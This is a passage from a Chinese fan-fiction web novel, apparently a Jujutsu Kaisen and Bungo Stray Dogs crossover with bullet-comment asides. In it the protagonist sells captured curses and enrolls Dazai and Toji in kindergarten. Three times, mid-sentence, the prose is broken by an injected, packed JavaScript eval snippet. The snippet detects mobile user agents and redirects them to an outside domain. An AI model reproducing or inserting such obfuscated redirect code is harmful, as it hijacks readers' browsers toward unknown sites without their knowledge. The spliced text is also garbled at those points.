【哈哈哈哈,那很暴力了。】 间漱直勾勾看着那些弹幕,然后在心里否认了那些评价。这些咒灵明明是乖乖送上门的,他没有废很大力气。 在手忙脚乱的收拾完后,已经又过去一个小时。 坐在沙发上的间漱好像什么也没发生,手里拿着一本书入迷看着。 孔时雨如释重负道:“辛苦了,这是报酬。不过你好像没有卡?我直接给你现金吧。” 厚厚几叠钞票摆在面前,间漱快速看完手上那本书,然后颔首说了句:“谢谢。” 说着他分出一半的钞票,对着孔时雨说:“虽然甚尔还不想见我,但抚养孩子是爸爸的义务,麻烦把这个转交给他。” 孔时雨扯着嘴角,突然理解甚尔那个表情的含义:“哈、我会转告的。” 他擦了擦额头上的冷汗,又翻阅着手上的册子说:“这里还有一个暗杀任务,我看你比较缺钱要不要考虑?” “不了,马上是晚上了。”间漱拒绝了,“我要回家陪孩子睡觉。” 【哈哈哈,超绝不经意炫耀自己有孩子。】 【还真是顾家的好男人。】 将钞票装满挎包后,间漱对表情复杂的孔时雨表示了感谢。 而在人走后,孔时雨挑眉对姗姗来迟的甚尔说道:“听见了吗,家里还有孩子,甚尔,没想到你不是独生子。” “再说的话不介意让你变哑巴。” ———— 回家的路间漱记得很熟,但路上难免会被各种东西吸引注意力。 下午四五点,禁止车辆通行的路上响起吵吵闹闹的声音。 一个个背着书包的孩子从房子里跑出来,然后跟在家长身边,叽叽喳喳说着一天的见闻。 间漱不由被吸引了注意力,他站在街边看着那些孩子和家长,希望从那些相处模式中学到有用的东西。 每个孩子都雀跃的跑到家长身边,然后是一个拥抱和笑容。 学到了,见面的时候要给拥抱。 或许是注视的时间太长,一个路过的好心妇女发问:“这位先生之前没见过你啊,你的孩子在哪个班?” “我的孩子……他还在家。”间漱点头礼貌的回答问题。 妇女脸色微变,她看着这个高大男人身上“破破烂烂”的衣服,有些迟疑道:“需要帮助吗?” 间漱下意识低头看去,衣服下摆被“不听话”的咒灵抓烂,看着似乎有些不得体。 “谢谢,但是不用了,我只是来看看。” 一阵欲言又止后,女人最终还是忍受不了:“喂,再穷不能苦孩子啊,你孩子多大了,不读书可不行。” 好心的路人一阵絮絮叨叨,给间漱科普了孩子不上学的危害,看着那个痛心疾首的表情,他也深刻意识到了,这件事情的严重性。 于是他很认真的点头:“我知道了,有钱就能送孩子来这里吗。” “钱不是问题,最重要的是不能短了教育,你……”妇人话音诡异的一顿,因为面前的男人展示了背包里成堆的钞票。 “我有钱。”间漱十分诚恳,“所以送孩子来这里上学,需要注意什么吗?” 在善意的科普下,时间一点点过去。 入夜的第四个小时,早已经亮起的灯照出踱步的身影。 “早知道让他带手机出门了,怎么这么晚都没回来?”繁男不停踱步,脸上十分担忧,“乱步,不能偷吃。” “我才没有!”乱步缩回脖子反驳,然后他突然抬头看去,“回来了。” 他小跑着过去开门,而在开门的那一瞬间,阴凉的、毛骨悚然的感觉扑面而来。 间漱站在门口,而随他一起回来的,还有一阵刺骨的寒风。 几人并没有看到,在间漱身后张牙舞爪的怪物,它们被无形的丝线捆成长长一串,然后尖叫着,发出恐惧的哀嚎。 其他人看不到……太宰治意识到这点,随后下意识倒退两步。 被间漱带回来的——是密密麻麻挤满玄关的怪物。 间漱本来能更快到家的,如果没有在路上遇到那些咒灵的话。 知道咒灵是什么,并且得知它能在孔时雨那里换钱后,除了长得丑陋味道奇怪外,它们就没有了缺点。 所以一路上间漱都在收集这些东西,虽然没有下午的那只咒灵厉害,但胜在数量多。 牵着一长串的咒灵,他满意的回到家,而刚一推门进去,就对上几人奇怪的表情。 乱步猛得后退几步捂住鼻子,他的脸上有一瞬间茫然,然后又下意识求助的看向菊。 菊皱起眉,然后放轻声音说:“间漱,是不是有什么奇怪的东西?” 普通人看不到咒灵,但似乎会被这些东西影响。间漱放下带回来的礼物,牵着那些东西就挂在了院子外面的树上。 空气终于再次流通起来。 而脱下鞋子和外套后,间漱精准的看向太宰治,在后者微弱的抗拒中,蹲下去张开双手。 他学着在学校门口看到的景象,给了太宰治一个结结实实的拥抱。怀里的人有些意见,伸手推了推间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506744|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漱的胸口。 “哎呀,父子感情真是好呢。”菊微笑着感叹,“不过间漱,你的衣服……怎么了?” “质量太差了。”间漱如实回答,给出了弹幕曾说过的解释,“毕竟是促销的货物。” “这样啊,说起来也是。”菊点了点头,看着那不规则的破损有些担心。 得知间漱找到工作的消息,繁男点了点头说:“那可真是好消息,不过在那之前先吃饭吧。” 晚饭过后,则是严肃的会谈时间。 菊泡好了茶,乱步在提醒下只挑了两样零食。大家围坐在桌前,由一家之主繁男主持家庭会议。 “咳咳,让我们先恭喜间漱找到了工作。”繁男咳嗽一声,带头鼓掌,“然后呢,由妈妈来说明天的安排。” “明天去逛街吧。”菊笑吟吟道,“刚好给你们挑挑礼物,好啦,接下来由唯一出门的间漱,进行一日总结。” 几双眼睛齐刷刷看来,间漱坐直身,说出了一直在思考的问题:“我想送小宰治去上学。” 空气沉默了两秒钟,就连懒散的乱步都坐直身:“什么奇怪的喊法……” “噗,说不定特殊的昵称嘛。”菊赞同的点头,“是独一无二的喊法,证明你们对彼此来说都很特殊。” 闻言间漱也满意的点头,然后没有澄清其实是因为弹幕都这样喊。 【噗哈哈哈,真的变成小宰治了,太有活了。】 【小兔宰治——】 【话说让太宰上学吗?难以想象那样美丽的画面。】 【仔细一想,好像根本就没有见过太宰上学的剧情。不过他有聪明的头脑,光靠自学就足够了。】 【但是!什么年纪就要做什么事情,虽然是剧本组,但现在才只有五六岁!】 “上学啊,确实是应该思考这样的问题。”繁男认真思考起来,“但是要办户籍和身份证明,刚好明天一起去搞定吧。” 几个大人一人一句决定好了之后的安排,而安静坐着的太宰治,并没有人询问他的看法。 被太宰治看了眼的乱步将手一摊:“我可不用上学。” 两位家长很热情,向间漱科普了上学需要准备什么。 最后敲定了第二天一起去采购,于是几个孩子被催促着赶快上床睡觉。 在上床前,太宰治在床头柜上看到了一整袋的钞票,以及一张崭新的工作牌。 上面的照片有些敷衍,但底下的【太宰间漱】几个字十分明晃晃。 他伸手摸了摸,然后在门口响起动静前闭上眼睛。 很轻的动静,走进来的人就连脚步声都很细微。不过也有可能是因为,窗外院子里挂着的那一群怪物,尖叫的声音有些太过刺耳。 太宰治努力适应,适应那个吵闹的声音、以及那个凑上来的,冰冷的怀抱。 不知道过去多久,他睁开眼睛看到一双冷静的眼睛,然后是一句——“你能看到。” 间漱歪侧着头,从面前人瞳孔紧缩的样子,察觉到太宰和其他人的不同。 所以他小幅度的动了动,窗外的声音便突然戛然而止。 安静了……而后死寂的黑夜里,是诡异的吞咽声,以及一声小声的吐槽。 “味道真差。” 6.有两个孩子 被吵醒的人有些不悦,尤其是得知要出门的消息时,嘴上立马嘟囔着抱怨。 “真的要去吗。”乱步揉了揉眼睛,吐出一口气,“我讨厌人多的地方。” 菊上前揉了揉那本就凌乱的头发,嘴上安慰着:“是久违的一家人出行日,今天说不定能买到那家限量的甜品哦。” 少年终于打起一些精神,而另一边的两人也准备就绪。 “我说……你可以不用一直抱着他的。”繁男扶着额头感叹,而后又放弃,“算了,随你们喜欢。” “我不喜欢。”太宰治面无表情的脸上有了变化,“放我……请放我下来。” 间漱充耳不闻,只是依旧将人抱在身前:“不行,在外面很危险。” 而且外面的孩子都被家长牵着,他不能时时刻刻牵手,就只能随时随地将人抱着。 街道上的拥挤没有冲淡那些热情,间漱依旧四处张望,对任何事都很好奇。 购物的过程是枯燥而无聊的,不过菊有着十足的耐心和激情。繁男跟在后面付款拎东西,偶尔诚恳的给出自己的评价。 剩下的三人站在玻璃的柜台前,在长久的等待后,乱步终于不耐烦的踱步:“一定要很久!我不要等了,我们现在就去吧,那家的点心可是很热门的。” 间漱抬头看了眼,那边的夫妻两人似乎遇到熟人,正热络的聊着。 繁男察觉到询问的眼神,然后双手合十无声的拜托着。于是间漱接替了带路的职责,他单手抱着太宰治,空出的手扯住乱步的袖子。 那家甜品店确实很热门,远远就看到排起长队。 乱步对这里的每一样甜品都很感兴趣,但他还记得父母的嘱托,于是在其中两款之间犹豫不定。 间漱看到那个眼巴巴的表情,正疑惑时注意到一条飘过的弹幕。 【小孩子才做选择,大人当然是全都要!】 【赞同。】 于是露出恍然大悟的表情后,他对着店员点点头:“都要了。” “诶?客人,这样的话会不会太多……” “不会!”乱步立马答话,十分激动道,“我想都尝尝,如果吃不完的话,间漱会帮我解决的对吧?” “嗯。”间漱点头答应,语气纵容,“都要了。” 【哈哈哈,几天前可还是连住处都没有,现在为了攻略名侦探这么大方吗。】 【名侦探好感+1】 【不止+1】 打包的盒子垒起可观的高度,刚开始的高兴过后,乱步脸上又浮现苦恼。 他品尝了每一种的味道,然后迫不及待的分享起来。 太宰并不钟意这过分甜腻的口感,所以对间漱伸来的勺子扭头拒绝。 三人并排蹲在路边,脚边是拆开的点心盒子。而闻到这“诱人”的香味,有些东西也悄悄靠近。 是咒灵,潜藏在街头巷尾的咒灵,它们本来十分安静的蛰伏,但因为几人的停留,又都蠢蠢欲动起来。 这些家伙本不应该这样活跃才对——太宰治静静看着那蠕动靠近的东西,而后很快明白过来,它们是被不知名的东西吸引。 当然不是这些点心。 间漱注意到太宰的眼神,所以他丢过去半块饼干投喂,希望那些家伙得到好处能远离这里。 饼干确实很有吸引力,咒灵嗅着靠近,然后迟疑的停顿后,又改变了目标。 好像只是被饼干上沾染的味道短暂吸引,太宰治抿着唇,闭了闭眼睛不再去看。 但转头的时候,余光又注意到一缕极细的黑色飘过。 像细细的蛛丝,又或者说是头发。蜿蜒伸去,而后靠近的东西被无形的东西吞噬。 间漱收回了视线,然后对上那双直勾勾的绿色眼睛。 “是你吸引来的?”乱步停下了动作,若有所思道,“这种东西能吃吗?还有昨天那种感觉……” 不等细想,一声幽怨的话响起:“乱步。” 繁男叹息一声,然后捧着脸颊抱怨:“这么多?!等会儿怎么和妈妈交代!” “嘛!是因为间漱喜欢啦。” 【哈哈哈,超迅速甩锅。】 【噗嗤,这个借口也太假了,名侦探真的是欲盖弥彰。】 间漱没有否认,只是点头说着:“锅在哪里,我可以拿着。” 乱步笑容一僵,嚷嚷着“怎么这样”,繁男摇摇头:“乱步——” “我知道了、我知道错了!所以在妈妈来之前解决就好了。” 求助的目光看来,间漱正想回答的时候,突然感觉大脑一空。 站在后面的太宰治趁着几人说话的时候,伸出指尖悄悄捏住了垂落的发尾。 而就像他想的那样,异能发动了。 间漱打了个激灵,他扭头疑惑看向太宰治,后者立马别开脸去。 因为买了过量的甜品,乱步不出意料得到了菊的批评。不过很快话题被岔开,在到家后夫妻两人开始整理那大包小包的东西。 买的东西很齐全,有上学必须的书包和课本,就连衣服也专门采购好了。 “我找人安排好了户籍,后天去学校报道就好了。”繁男整理着,头也不抬的解释。 另一边间漱刚换好菊提给他的一身衣服,白色的v领衬衫露出脖子和部分锁骨,黑色的修身长裤搭配长靴。 外面是一件长款浅灰色风衣,有很大的口袋和收缩的锁扣。 是很方便行动的着装,间漱低头整理,同时浏览着那些感叹的弹幕。 【果然人靠衣装,虽然这样的好身材,什么衣服都能撑得起来,但是果然还是合适的衣服更帅气!】 【好绝美一张帅脸——年轻的爸爸,就应该是大家的!】 【哇哦,话说妈妈挑选的这身衣服很适合战斗,她是不是猜到间漱的特殊工作了?】 【那肯定,毕竟妈妈可比爸爸还要聪明,不过在这全是剧本组的家里,可能根本就没有秘密吧。】 在弹幕不经意的提醒下,间漱若有所思的抬头看去,而这刚好对上菊微笑的脸。 后者眨了眨眼睛,随后竖起食指小声的“嘘”。就好像在说,这是他们共同的秘密。 “新衣服很合适,不过哪怕破损也没关系,不用藏起来。”菊耐心的解释,“小破损我们就缝缝补补,太大的破洞我们就换新衣服。” 间漱摸了摸鼻子有些心虚,因为上一件大衣被他藏到了床底下。 “然后,这是送给间漱的礼物。”菊拿出一个盒子,“希望你喜欢。” 盒子里是一双皮质的黑色手套,一长一短。它们很合适,将一双手修饰的更加有型。 【斯哈,觉醒了奇怪的xp。】 【妈妈太会了!】 【是为了工作方便吗?不得不说,妈妈的审美太在线了。】 “这样的话就可以牵手了。”菊意味深长道,“可以牵着他,也可以做其他的事情。” 在那个眼神的示意下,间漱看向太宰治。 太宰治原本低着头,他莫名觉得后背一凉,那是有不好的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511656|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情发生的前兆。 下一秒间漱伸出手,捏了捏太宰治的脸颊。后者避无可避,脸上的无奈更加明显。 确实很有用,手套隔绝了肌肤的接触,他们近距离贴近也不会被异能所影响。 “诶,妈妈真是太狡猾了。”繁男突然凑过来,控诉道,“不是说好了要一起送吗?” 说着他也掏出一个大小差不多的盒子,那里面是一本浅紫色软封皮的本子,比巴掌略大厚度可观。 “因为我有记录的习惯,所以送你一本手册。”繁男解释道,“可以将待办的事情写上,当然也可以当作日记本,记录一些你学习到的东西,又或者是重要的事情。” 间漱接受了这些礼物,然后他无师自通的会意,人类需要通过互送礼物,来增加彼此的情谊。 短短一天内,入学的一切都准备就绪——除了要上学的本人。 太宰治背着蓝色的书包站在门口,他是抗拒的,并且忽视那双伸来的手。 “小朋友,我们和爸爸说再见哦。”满脸笑容的女人蹲下身,亲切的说着,“放学就可以见面啦。” 那张小脸上满是抗拒,然后说出从早上到现在的第一句话:“我不……” “哎呀,太宰小朋友没有哭,已经很棒啦。” “是啊是啊,再不走的话,爸爸就要舍不得你上学了,让我们去和小朋友们玩吧。” 两个老师配合着将人带走,间漱确实有些不舍,不过注意力很快就被弹幕转移。 【噗,太宰小朋友——】 【哈哈哈,宰上幼稚园吗,居然还是小班,太有活了。】 【虽然在这里没办法学到怎么当mafia,但是会因为把饭吃光,而得到小红花和夸奖哟。】 【我们的小宰治,肯定是幼稚园最棒的孩子!】 “太宰先生,请不用担心小朋友,让我们来商量接下来的事情吧。” 一句话引回间漱的注意力,他坐在沙发上对面前人点了点头。 办公室里,幼稚园园长咳嗽一声,难掩脸上的喜色:“太宰先生很大方,想必也是十分的爱孩子的,我们这里还有包餐和包接送服务。” “孩子的教育不可或缺,虽然您送来的有点晚,但是我们肯定会负责。”园长侃侃而谈,“太阳花幼稚园,最关注孩子的身心健康以及教育,虽然晚了点,但是您的孩子那么聪明,肯定能赶上大家的。” “你说话很好听。”间漱点头,十分直白而满意,“所以这个包餐服务也勾选吧,接送就不用了。” “好好好。” 间漱看着园长忙活,而后眉头微蹙:“晚了点……再晚也没关系吗?” “当然,再晚都没关系!”园长拍着胸脯打包票,“我们幼稚园很负责任的。” “哦,我还有一个孩子……” 话还没有说完,园长立马搓手热情道:“这样啊,那今天怎么没带来?没关系的,我们这里有一张申请表,带回去填一下,然后明天一起送来就好了。” 微蹙的眉头舒展开,间漱想起要对两个孩子一视同仁,于是点头接下那张轻飘飘的申请表。 而听完两人的谈话,弹幕诡异的沉寂几秒钟。 【还有一个孩子?乱步吗?他那个智商和年纪根本就……】 【不对。】 【不对!】 【哈哈哈哈哈哈哈,不是我想的那样吧?间漱只对两个人自称过爸爸,难不成——】 【难不成——要让那位暴君弥补没上过幼稚园的遗憾吗。】 7.父子的矛盾 上午九点整,本应该无人造访的事务所被敲响。 刚睡不过两个小时的孔时雨揉着额头,推门抬头的同时,恍惚觉得自己可能还在做梦。 不然怎么可能又看到这可怕的一幕。 门外笔直站着的男人对他颔首示意,而在他身后是一长串的咒灵。 “哐当”一声门又猛得关上,几秒钟后又拉开,露出一张阴沉的脸。 “太宰先生,想必我要重复一下,我知道你的实力很强,但是没必要每次来造访都带着这么多咒灵。”孔时雨强忍着冲动,耐心解释,“这种〖惊喜〗有一次就够了。” 【哈哈哈哈哈,再这样孔时雨都要ptsd了。】 【笑死,恐怕以后他每次打开门都要心悸,担心门后面是一大堆的咒灵吧。】 【已经彻底征服这个孔时雨了,干的漂亮。】 间漱歪过头,有些不解所以特地解释了一句:“它们值钱,我一路上特地找了很多。” “而且,我没有迟到,今天是星期一、早上九点。” “这种事情没必要强调……”孔时雨无奈捂着脸,但还是招呼人先进来,“我们的工作时间和普通人不同,很自由。我还想问你前两天怎么没来,原来觉得周末应该休息吗。” 那些咒灵被挂在门口,远离了间漱它们终于又活跃起来。扭曲着互相攻击,然后又被无形的线扯着不能远离。 孔时雨从窗户上看到外面乱飘的咒灵,虽然都是一些低级咒灵,但还是让人心有余悸。 招待的热咖啡,间漱只闻了闻没有品尝:“它们可以换钱,而我需要钱。” 露出一个难得茫然的表情后,孔时雨诡异的有些理解了青年的脑回路:“世界上有那么多咒灵,并不是每一只都有价值,只有顾客发布悬赏任务又或者……” “原来不值钱啊。”间漱有些可惜道,下一秒孔时雨突然站起身,“等等!” 被带来的咒灵虽然是低级咒灵,但是却格外安分,好像是因为特殊力量的影响。 “是你的术式吗?”孔时雨试探着询问,“能够操控它们?” 面前人停顿片刻,然后说了句“大概”。那瞬间孔时雨灵光一现,他强装镇定的点起一支烟:“那如果它们距离你很远,也不会失控吗?” “我是说如果我买下这些咒灵,它们能受我操控吗?” “可以。”间漱颔首,“这并不是很麻烦的事情。” “那……像上次那只二级咒灵也可以吗?” 得到的依旧是肯定的回答,孔时雨轻笑一声,抬手掩住嘴角的弧度:“我可以收购下你带来的咒灵,前提是它们能为我所用。” “所以它们还是值钱的?” “对,这样的咒灵可以越多越好。”孔时雨颇为激动,然后快速起身拟定了协议,“我给你开了一张卡,以后的酬劳会直接打进去。还有——合作愉快。” 间漱不知道孔时雨为什么那么激动,但是弹幕给他解释了。 【我靠,不愧是头脑精明的商人!能控制咒灵的术师少之又少,这种被驯服好的咒灵更是前所未闻。】 【对的,比起费尽心思收复,不如在孔时雨这里直接买到能操控的咒灵。】 【可恶!这样的话应该再狠狠敲一笔才对!】 【不对……难道没有人关注,间漱其实是式神使这件事吗?】 看着十分气愤的弹幕依旧在吐槽,于是间漱直接开口要更多的分成。 孔时雨确实是合格又精明的商人,但这种事毕竟前所未有,所以他爽快的答应了。 【哇塞不愧是间漱,居然能从孔时雨手上占利。】 【应该是,他本来就是奔着合作来的吧?这种情况换作咒术师肯定会说有违伦理,也就只有这种黑市能销售出去。】 【这一切果然都是间漱的计划!】 计划?不……只是巧合而已,间漱慢吞吞的喝完凉透的咖啡,然后才想起更重要的事情。 “我联系不上甚尔。”间漱苦恼道,“只有你能联系吧,这里有东西需要给他。” 面前推来一张轻飘飘的纸,孔时雨本以为是什么契约或者合同,但饶是他阅读速度飞快,眼睛也被死死黏在那行大字上。 “太阳花幼稚园入学申请……”孔时雨下意识读了出来,然后他结巴了,“给甚尔?” 他第一时间觉得不可思议,然后又想起甚尔好像确实有一个年纪适合的孩子。 间漱点了点头,在一片【哈哈哈】的弹幕中解释:“园长说无论多大入学都不晚,所以我决定送甚尔去上学。” “甚尔?”孔时雨怀疑自己听错了,他特地掏了掏耳朵,“他?上幼稚园?” “这不合适吗?”间漱有些迟疑,“园长说学校里有大班可以安排。” “这好像不是合不合适的问题……”孔时雨欲言又止,“当然也不是大班小班的问题,甚尔他……” 难道理解错了?间漱也沉默下来,但弹幕飘过的速度更快了。 【哈哈哈哈哈,孔时雨那个表情简直是演我。】 【噗嗤,那位暴君去幼稚园?去!去的就是幼稚园。】 【我们甚尔从小就没上过学,太可怜了~作为父亲,肯定要弥补孩子这个遗憾对吧?】 【你们就看热闹不嫌事大吧……我倒是觉得,这是间漱拉近距离的一种方法,虽然行事很离谱,但常规的我们暴君可看不上。】 看到弹幕依旧清一色都是“支持”后,间漱放心了:“对,教育不可或缺。” 那正经的神色、严肃的语气——孔时雨怀疑自己还在做梦,几个深呼吸后,因为间漱能带来的利益,他退让了。 “喂,是甚尔吗,这里有点急事可能需要你过来一趟。” 挂断电话后,孔时雨短暂的心虚了几秒钟,然后一本正经道:“我能做的就只有把他喊来,其他的……就交给你了。” 【卧槽真的喊来了啊?】 【哈哈哈哈,孔时雨你也煽风点火是吧?送同事去幼稚园,你简直是全天下独一个。】 【期待甚尔会露出什么样的表情。】 中午十二点整,姗姗来迟的人终于推门进来。 这并不是平常的工作时间,所以伏黑甚尔一脸懒散的开口:“你最好有重要的事情,下午还有一场赛马比赛,最好速战速……” 他的话在看到沙发上坐着的男人戛然而止,然后眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16518090|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一皱变成厌烦:“怎么又是你?真是阴魂不散,门口那串咒灵也是你挂的?能吸引那些家伙的果然不是好东西。” 间漱点了点头:“午好,我觉得我应该有一个你的联系方式,这样才能更好的关心你。又或者说,如果愿意告诉我你的住处就更好了。” “不需要。”被恶心的伏黑甚尔转头就想离开,“以后有这个家伙在的地方别喊我。” 孔时雨心虚的咳嗽一声,然后别开视线:“等等甚尔,这里有一张表需要填一下。” 出于长久合作的那些信任,伏黑甚尔还是捏着鼻子坐了下来。那个漂亮的男人依旧对他微笑,只不过笑容有些许僵硬。 看清那张纸上的文字后,伏黑甚尔怀疑自己不认识字了。 【太阳花幼稚园入学申请】 而姓名那栏,赫然是他伏黑甚尔的名字,纸上所有的信息,也都和他对上。 “申请表填好就可以了。”间漱放下杯子解释,“但是园长建议,下午可以先带你去看看学校环境。” “上学?我?”伏黑甚尔发出一样的疑惑,然后咧着嘴角突然笑出声,“你还真是有趣,能一而再再而三的恶心到我。” “是的。”间漱掏出打包好的便当,“不过那也是下午的事情,现在是午饭时间。” 鹅黄色的饭盒里,是色彩、造型都十分可爱的便当,这是园长友情准备的,说是要让孩子先体验一下。 间漱很满意,他摆好筷子和勺子,看着那两张表情奇怪的脸有些疑惑:“很抱歉,没准备你的份。” “不、不,不用了。”孔时雨立马站起身连连拒绝,“咳咳,甚尔……” “你什么意思?”甚尔冷着脸质问,“这很好笑吗?” 【哈哈哈哈,甚尔你也有今天啊,肌肉猛男和可爱便当,适配度百分百!】 【嘛,我们的甚尔肯定是不好意思啦,说不定需要爸爸喂,才愿意吃呢。】 【前面那位说的人话否?】 【看不懂,但是间漱似乎准备照做——】 间漱确实主动拿起了勺子靠近,他认为弹幕说的没错,虽然太宰从来没有要求过喂饭,但说不定另一个孩子需要呢。 舀了满满一勺米饭后,间漱将勺子往前伸去。 看到这幕孔时雨感觉后背一凉,浑身浮现一种恶寒的感觉。他识趣的往后又退几步,突然有些担忧这间破旧的办公室。 而果不其然,下一秒伏黑甚尔大手一挥,桌子上精致的便当飞出去老远。 里面的饭菜撒了一地,饭盒也应声开裂。 间漱沉默了几秒钟,然后抬手摘下衣服上的米粒,他的语气依旧平淡:“不喜欢吗?那看来不用定包餐的服务。” 恶心……太恶心了,那张脸上的表情还有语气,都让人发自内心的觉得恶心反胃。 伏黑甚尔感觉得出来,面前人是真情实意的,说这些话并不是为了讽刺恶心他,但却偏偏起到这样的反作用。 他很少这样情绪激动的觉得恼怒,于是没有细想,青筋暴起的手臂猛得拿起手边的筷子。 孔时雨只来得及说了句“等等!”,木制的筷子就如同杀人利器一样,直指间漱的瞳孔而去。 8.对的是弟弟 在强者手中,哪怕只是一双木筷子,也足以成为杀人的利器。 不过想象中血溅当场的场面没有出现,带着黑色手套的手截下刺来的尖端,短暂的僵持后,筷子应声而断。 两人对上视线,随后甚尔出其不意的撑着桌子,压低上半身的同时扫腿而去。 但是面前人十分敏锐,原本是半蹲的姿势,一转眼就后翻稳稳站直身。 那两人打了起来,甚尔“啧”了一声利落拆下椅子的铁棍,他动了真格,眼中一闪而过杀意。 办公室的东西被扫落一地,孔时雨渐渐看不清那两人的动作,直到靠外的那面墙被轰塌一半。 他们两人都没有用特殊能力,也没有什么得力武器,只是单纯靠着身体的强度,将结实的铁棍掰弯、墙壁倒塌。 孔时雨有些怀疑起来,一位式神使,能拥有和咒与束缚同等强度的肉/体吗? 这个疑惑没有人能解答,间漱那看着没什么肌肉的身体,确实结结实实的迎下每一招。 这下连甚尔也觉得诧异,他很少遇到能打得有来有回的强者,心中难免升起一些较劲的想法。 但只是对上那双浅灰色的眼睛,一直以来的战斗经验,就甚尔察觉到危险。 他从来不打让自己吃亏的架,不过刚萌生后撤的想法,下一秒身体就好像被无形的东西束缚。 面前人终于安静了,间漱也吐出一口气,站起身拍了拍衣服上的灰尘。 这可是他穿的新衣服,弄脏就不好了。不过那样轻描淡写甚至有些蔑视的反应,落在另外两人眼里,分明是属于强者的自信和傲慢。 【真的打起来了?哇靠,能和暴君打得有来有回吗?间漱的身体拿什么做的,也太结实了。】 【那可是天与咒缚,比拼肉/体强度应该无人能敌,不过看间漱没有受伤,是特殊能力?】 【这样一说也是……刚刚还猜是式神使,难不成??】 好像露馅了……间漱僵硬了几秒钟,而后捂着胸口垂眸:“好痛。” 从外表来看可完全没有受伤的迹象——孔时雨扯了扯嘴角,对无法动弹的甚尔投去一个眼神。 “呵。”甚尔冷笑一声,“装什么?” 他尝试动了动,然后全身关节的重要位置,都传来勒紧的感觉。就好像是被无形的丝线束缚住,一旦用力过度,就会直接将身躯分割成数份。 甚尔放弃了强硬脱困的想法,他察觉到间漱其实并没有敌意,所以冷静以对:“你到底要做什么。” “要带你去学校参观。”间漱走近回答,然后又可惜道,“这家的午饭这么难吃吗?但是学校好像只有这些——虽然难吃,但是在学校里可不能这样打老师。” 【哈哈哈哈哈,我靠对老师来说无妄之灾啊!】 【很明显是因为态度原因让甚尔觉得是挑衅,是怎么理解成因为饭难吃所以大发雷霆?】 【因为饭太难吃所以打老师……不要哇,老师也是人啊!】 【小孩子不想上学所以闹脾气呢,只需要强硬一点就好啦~】 【就是就是,进了幼稚园看到老师就安静了,所有孩子都是这样的,不听话就绑过去好了。】 【你们给的是正常建议吗?】 间漱一条条看过去,并且肯定了其中一些建议。他觉得和太宰一样,等去了学校甚尔就听话了。 “疯子。”甚尔骂道,然后眉头微蹙又稍稍妥协,“我可以当这是委托。” “委托?” “可以跟你去那个鬼地方,给钱。” 原来是另类的要零花钱的方式,间漱很大方的划出一半酬劳:“下次要零花钱可以直接说,作为爸爸这是应该的。” 这个疯子……甚尔揉着手腕,想着之后一定要离这个家伙远远的。 强硬的态度不可取,因为那种控制手段,目前还不知道是术师还是咒具的效果。 没有带合适武器的甚尔,臭着脸瞪了眼孔时雨,然后选择配合这一次。 下午两点整,是幼稚园的休息时间。 幼稚园园长又看到了早上那位,出手大方的贵客,他立马殷勤道:“太宰先生决定好了吗。” “嗯,我带孩子来参观一下。”间漱点点头,然后在园长身后听着介绍。 说的口干舌燥后,园长终于想起来询问:“对了,太宰先生将另一个孩子带来了吗?” “已经让老师带去教室了。” 园长露出原来如此的表情,然后笑吟吟道:“那刚好,我们去教室参观一下怎么上课的吧。” 热情的园长依旧在前面带路,直到他看到教室门口,一脸为难的老师。 “这是怎么了?”园长刚问一句,然后眼睛一转透过窗户看到了里面的“大块头”。 那是一个浑身肌肉、穿着黑色紧身上衣的男人,他嘴角有一道疤、表情凶狠,此时正撑着下巴百无聊赖的盯着上课的老师。 所有的孩子都被吓得眼泪汪汪,就连老师也一脸惶恐和害怕。 所以偌大的教室和男人坐在一起的,就只有今天刚上学的太宰小朋友。 “……”园长短暂的宕机,然后大喊,“不要哇!有什么事冲我来!不要对孩子们下手!” 一阵兵荒马乱后,“大坏人”终于被赶了出来。 甚尔掏了掏耳朵:“吵死了。” 间漱教育道:“甚尔,不可以对老师没有礼貌。” 园长看两人认识,立马欲哭无泪:“太宰先生!如果这位先生要一起参观的话请提前说,而不是这样去教室打扰小朋友们上课。” 太宰治站在门口,他的眼睛一眨不眨的盯着那个高大的男人,直到从间漱口中听到,那句“可是孩子不就应该在教室上课吗”的提问,他噗嗤一声笑了出来。 “笨蛋。”他低低说了句,然后歪头对上间漱的注视。 间漱蹲了下去,学着菊的样子整理太宰领口的小蝴蝶结:“喜欢学校吗。” “不喜欢。” “请问是对学校哪里不满意吗?”出于职业习惯,园长很快接话。 然后意识到间漱话里的意思,他结结巴巴的开口:“孩子?他?太宰先生,他年纪看着比你还要大。” 意识到话语不妥,园长又委婉道:“请不要再开玩笑了,如果只是恶作剧的话……” 